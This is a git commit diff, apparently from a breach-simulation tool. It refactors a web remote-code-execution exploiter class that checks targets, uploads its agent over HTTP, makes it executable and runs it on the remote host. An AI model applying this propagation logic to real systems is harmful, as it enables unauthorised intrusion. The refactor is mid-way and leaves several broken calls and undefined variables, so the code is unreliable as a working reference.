Fixed half of the notes and added a small tcp_port_to_service method in network/tools

no message
This commit is contained in:
Vakaris 2018-08-08 17:57:34 +03:00
parent 8e684a3fad
commit d1a29872c4
5 changed files with 110 additions and 120 deletions

View File

@ -388,6 +388,15 @@ class HTTPTools(object):
@staticmethod
def create_locked_transfer(host, src_path, lock, local_ip=None, local_port=None):
"""
Create http server for file transfer with lock
:param host: Variable with target's information
:param src_path: Monkey's path on current system
:param lock: Instance of lock
:param local_ip:
:param local_port:
:return:
"""
if not local_port:
local_port = get_free_tcp_port()

View File

@ -7,12 +7,13 @@ from posixpath import join
import re
from abc import abstractmethod
from exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools
from network.tools import check_tcp_port
from network.tools import check_tcp_port, tcp_port_to_service
__author__ = 'VakarisZ'
LOG = logging.getLogger(__name__)
class WebRCE(HostExploiter):
def __init__(self, host):
@ -29,45 +30,58 @@ class WebRCE(HostExploiter):
def exploit(self, url, command):
"""
A reference to a method which implements web exploit logic.
:param url: Url where to send maliciuos packet
:param url: Url to send malicious packet to. Format: [http/https]://ip:port/extension.
:param command: Command which will be executed on remote host
:return: Command's output string. Or True/False if it's a blind exploit
"""
raise NotImplementedError()
@staticmethod
def get_open_service_ports(host, port_list, names):
def get_open_service_ports(self, port_list, names):
"""
:param host: Host machine we are dealing with
:param port_list: Potential ports to exploit. For example _config.HTTP_PORTS
:param names: [] of service names. Example: ["http"]
:return: Returns all open ports from port list that are of service names
"""
candidate_services = {}
for name in names:
chosen_services = {
service: host.services[service] for service in host.services if
('name' in host.services[service]) and (host.services[service]['name'] == name)
}
candidate_services.update(chosen_services)
candidate_services.update({
service: self.host.services[service] for service in self.host.services if
(self.host.services[service]['name'] in names)
})
valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if
'tcp-' + str(port) in candidate_services]
tcp_port_to_service(port) in candidate_services]
return valid_ports
@staticmethod
def check_if_port_open(host, port):
is_open, _ = check_tcp_port(host.ip_addr, port)
def check_if_port_open(self, port):
is_open, _ = check_tcp_port(self.host.ip_addr, port)
if not is_open:
LOG.info("Port %s is closed on %r, skipping", port, host)
LOG.info("Port %d is closed on %r, skipping", port, self.host)
return False
return True
@staticmethod
def check_if_exploitable(exploiter, url):
def get_command(self, path, http_path, commands):
if 'linux' in self.host.os['type']:
command = commands['linux']
else:
command = commands['windows']
# Format command
try:
resp = exploiter(url, CHECK_COMMAND)
command = command % {'monkey_path': path, 'http_path': http_path}
except KeyError:
LOG.error("Trying to exploit linux host, but linux command is missing/bad! "
"Check upload_monkey function docs.")
return False
return command
def check_if_exploitable(self, url):
"""
Checks if target is exploitable by interacting with url
:param url: Url to exploit
:return: True if exploitable and false if not
"""
try:
resp = self.exploit(url, CHECK_COMMAND)
if resp is True:
return True
elif resp is not False and ID_STRING in resp:
@ -78,46 +92,38 @@ class WebRCE(HostExploiter):
LOG.error("Host's exploitability check failed due to: %s" % e)
return False
@staticmethod
def build_potential_urls(host, ports, extensions=None):
def build_potential_urls(self, ports, extensions=None):
"""
:param host: Domain part of url, for example ip of host
:param ports: Array [ port.nr, isHTTPS? ]
:param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)]
Eg. ports: [[80, False], [443, True]]
:param extensions: What subdirectories to scan. www.domain.com[/extension]
:return: Array of url's to try and attack
"""
url_list = []
if extensions is None:
for port in ports:
if port[1]:
url_list.append(("https://%s:%s" % (host.ip_addr, port[0])))
else:
url_list.append(("http://%s:%s" % (host.ip_addr, port[0])))
else:
# We parse extensions not to start with /
if extensions:
for idx, extension in enumerate(extensions):
if '/' in extension[0]:
extensions[idx] = extension[1:]
else:
extensions = [""]
for port in ports:
for extension in extensions:
if port[1]:
url_list.append(join(("https://%s:%s" % (host.ip_addr, port[0])), extension))
protocol = "https"
else:
url_list.append(join(("http://%s:%s" % (host.ip_addr, port[0])), extension))
protocol = "http"
url_list.append(join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension))
if not url_list:
LOG.info("No attack url's were built")
return url_list
@staticmethod
def get_host_arch(host, exploiter, url):
def get_host_arch(self, url):
"""
:param host: Host parameter
:param exploiter: Function with exploit logic. exploiter(url, command)
:param url: Url for exploiter to use
:return: Machine architecture string or false. Eg. 'i686', '64', 'x86_64', ...
"""
if 'linux' in host.os['type']:
resp = exploiter(url, ARCH_LINUX)
if 'linux' in self.host.os['type']:
resp = self.exploit(url, ARCH_LINUX)
if resp:
# Pulls architecture string
arch = re.search('(?<=Architecture:)\s+(\w+)', resp)
@ -130,7 +136,7 @@ class WebRCE(HostExploiter):
else:
return False
else:
resp = exploiter(url, ARCH_WINDOWS)
resp = self.exploit(url, ARCH_WINDOWS)
if resp:
if "64-bit" in resp:
return "64"
@ -139,42 +145,34 @@ class WebRCE(HostExploiter):
else:
return False
@staticmethod
def check_remote_file(exploiter, url, path):
def check_remote_file(self, url, path):
command = EXISTS % path
resp = exploiter(url, command)
resp = self.exploit(url, command)
if 'No such file' in resp:
return False
else:
LOG.info("Host %s was already infected under the current configuration, done" % host)
return True
@staticmethod
def check_remote_files(host, exploiter, url, config):
def check_remote_files(self, url):
"""
Checks if any monkey files are present on remote host
:param host: Host parameter
:param exploiter: Function with exploit logic. exploiter(url, command)
:param url: Url for exploiter to use
:param config: Monkey config from which paths are taken
:return: True if at least one file is found, False otherwise
"""
paths = []
if 'linux' in host.os['type']:
paths.append(config.dropper_target_path_linux)
if 'linux' in self.host.os['type']:
paths.append(self._config.dropper_target_path_linux)
else:
paths.append(config.dropper_target_path_win_32)
paths.append(config.dropper_target_path_win_64)
paths.append(self._config.dropper_target_path_win_32)
paths.append(self._config.dropper_target_path_win_64)
for path in paths:
if WebRCE.check_remote_file(exploiter, url, path):
if self.check_remote_file(url, path):
return True
return False
@staticmethod
def get_monkey_dest_path(config, src_path):
def get_monkey_dest_path(self, src_path):
"""
Gets destination path from source path.
:param config: monkey configuration
:param src_path: source path of local monkey. egz : http://localserver:9999/monkey/windows-32.exe
:return: Corresponding monkey path from configuration
"""
@ -183,46 +181,36 @@ class WebRCE(HostExploiter):
return False
try:
if 'linux' in src_path:
return config.dropper_target_path_linux
return self._config.dropper_target_path_linux
elif "windows-32" in src_path:
return config.dropper_target_path_win_32
return self._config.dropper_target_path_win_32
else:
return config.dropper_target_path_win_64
return self._config.dropper_target_path_win_64
except AttributeError:
LOG.error("Seems like configuration properties names changed. "
"Can not get destination path to upload monkey")
return False
# Wrapped functions:
@staticmethod
def get_ports_w(host, ports, names, log_msg=None):
ports = WebRCE.get_open_service_ports(host, ports, names)
if not ports and not log_msg:
def get_ports_w(self, ports, names):
ports = WebRCE.get_open_service_ports(self.host, ports, names)
if not ports:
LOG.info("All default web ports are closed on %r, skipping", host)
return False
elif not ports and log_msg:
LOG.info(log_msg)
return False
else:
return ports
@staticmethod
def set_host_arch(host, exploiter, url):
arch = WebRCE.get_host_arch(host, exploiter, url)
def set_host_arch(self, exploiter, url):
arch = WebRCE.get_host_arch(exploiter, url)
if not arch:
LOG.error("Couldn't get host machine's architecture")
return False
else:
host.os['machine'] = arch
self.host.os['machine'] = arch
return True
@staticmethod
def upload_monkey(host, config, exploiter, url, commands=None):
def upload_monkey(self, url, commands=None):
"""
:param host: Where we are trying to upload
:param exploiter:exploiter(url, command) Method that implements web RCE
:param config: Monkey config, to get the path where to place uploaded monkey
:param url: Where exploiter should send it's request
:param commands: Unformatted dict with one or two commands {'linux': LIN_CMD, 'windows': WIN_CMD}
Command must have "monkey_path" and "http_path" format parameters.
@ -236,7 +224,7 @@ class WebRCE(HostExploiter):
# Determine which destination path to use
LOG.debug("Monkey path found")
lock = Lock()
path = WebRCE.get_monkey_dest_path(config, src_path)
path = WebRCE.get_monkey_dest_path(self._config, src_path)
if not path:
return False
# To avoid race conditions we pass a locked lock to http servers thread
@ -248,60 +236,44 @@ class WebRCE(HostExploiter):
LOG.debug("Exploiter failed, http transfer creation failed.")
return False
LOG.info("Started http server on %s", http_path)
if not host.os['type']:
if not self.host.os['type']:
LOG.error("Unknown target's os type. Skipping.")
return False
if 'linux' in host.os['type']:
if not commands:
command = WGET_HTTP_UPLOAD % {'monkey_path': path, 'http_path': http_path}
# Choose command:
if commands:
command = WebRCE.get_command(self.host, path, http_path, commands)
else:
try:
command = commands['linux'] % {'monkey_path': path, 'http_path': http_path}
except KeyError:
LOG.error("Trying to exploit linux host, but linux command is missing/bad! "
"Check upload_monkey function docs.")
return False
else:
if not commands:
command = POWERSHELL_HTTP_UPLOAD % {'monkey_path': path, 'http_path': http_path}
else:
try:
command = commands['windows'] % {'monkey_path': path, 'http_path': http_path}
except KeyError:
LOG.error("Trying to exploit windows host, but windows command is missing/bad! "
"Check upload_monkey function docs.")
return False
resp = exploiter(url, command)
command = WebRCE.get_command(self.host, path, http_path,
{'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD})
resp = self.exploit(url, command)
if not isinstance(resp, bool) and 'owershell is not recognized' in resp:
LOG.info("Powershell not found in host. Using bitsadmin to download.")
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': path, 'http_path': http_path}
resp = exploiter(url, backup_command)
resp = self.exploit(url, backup_command)
lock.release()
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
LOG.info("Uploading proccess finished")
LOG.info("Uploading process finished")
return {'response': resp, 'path': path}
@staticmethod
def change_permissions(host, url, exploiter, path, command=None):
def change_permissions(self, url, path, command=None):
"""
Method for linux hosts. Makes monkey executable
:param host: Host info
:param url: Where to send malicious packets
:param exploiter: exploiter(url, command) Method that implements web RCE.
:param path: Path to monkey on remote host
:param command: Formatted command for permission change or None
:return: response, False if failed and True if permission change is not needed
"""
LOG.info("Changing monkey's permissions")
if 'windows' in host.os['type']:
if 'windows' in self.host.os['type']:
LOG.info("Permission change not required for windows")
return True
if not command:
command = CHMOD_MONKEY % {'monkey_path': path}
try:
resp = exploiter(url, command)
resp = self.exploit(url, command)
except Exception as e:
LOG.error("Something went wrong while trying to change permission: %s" % e)
return False
@ -314,18 +286,15 @@ class WebRCE(HostExploiter):
LOG.error("Missing permissions to make monkey executable")
return False
elif 'No such file or directory' in resp:
LOG.error("Could not change persmission because monkey was not found. Check path parameter.")
LOG.error("Could not change permission because monkey was not found. Check path parameter.")
return False
LOG.info("Permission change finished")
return resp
@staticmethod
def execute_remote_monkey(host, url, exploiter, path, dropper=False):
def execute_remote_monkey(self, url, path, dropper=False):
"""
This method executes remote monkey
:param host: Host info
:param url: Where to send malicious packets
:param exploiter: exploiter(url, command) Method that implements web RCE.
:param path: Path to monkey on remote host
:param dropper: Should remote monkey be executed with dropper or with monkey arg?
:return: Response or False if failed
@ -339,7 +308,7 @@ class WebRCE(HostExploiter):
monkey_cmd = build_monkey_commandline(host, get_monkey_depth() - 1)
command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': MONKEY_ARG, 'parameters': monkey_cmd}
try:
resp = exploiter(url, command)
resp = self.exploit(url, command)
# If exploiter returns True / False
if type(resp) is bool:
LOG.info("Execution attempt successfully finished")

View File

@ -2,7 +2,7 @@ from itertools import izip_longest
from random import shuffle
from network import HostScanner, HostFinger
from network.tools import check_tcp_ports
from network.tools import check_tcp_ports, tcp_port_to_service
__author__ = 'itamar'
@ -31,7 +31,7 @@ class TcpScanner(HostScanner, HostFinger):
ports, banners = check_tcp_ports(host.ip_addr, target_ports, self._config.tcp_scan_timeout / 1000.0,
self._config.tcp_scan_get_banner)
for target_port, banner in izip_longest(ports, banners, fillvalue=None):
service = 'tcp-' + str(target_port)
service = tcp_port_to_service(target_port)
host.services[service] = {}
if banner:
host.services[service]['banner'] = banner

View File

@ -154,3 +154,7 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False):
except socket.error as exc:
LOG.warning("Exception when checking ports on host %s, Exception: %s", str(ip), exc)
return [], []
def tcp_port_to_service(port):
return 'tcp-' + str(port)

View File

@ -183,7 +183,14 @@ class HTTPServer(threading.Thread):
self._stopped = True
self.join(timeout)
class LockedHTTPServer(threading.Thread):
"""
Same as HTTPServer used for file downloads just with locks to avoid racing conditions.
"""
# Seconds to wait until server stops
STOP_TIMEOUT = 5
def __init__(self, local_ip, local_port, filename, lock, max_downloads=1):
self._local_ip = local_ip
self._local_port = local_port
@ -210,10 +217,11 @@ class LockedHTTPServer(threading.Thread):
self._stopped = True
def stop(self, timeout=5):
def stop(self, timeout=STOP_TIMEOUT):
self._stopped = True
self.join(timeout)
class HTTPConnectProxy(TransportProxyBase):
def run(self):
httpd = BaseHTTPServer.HTTPServer((self.local_host, self.local_port), HTTPConnectProxyHandler)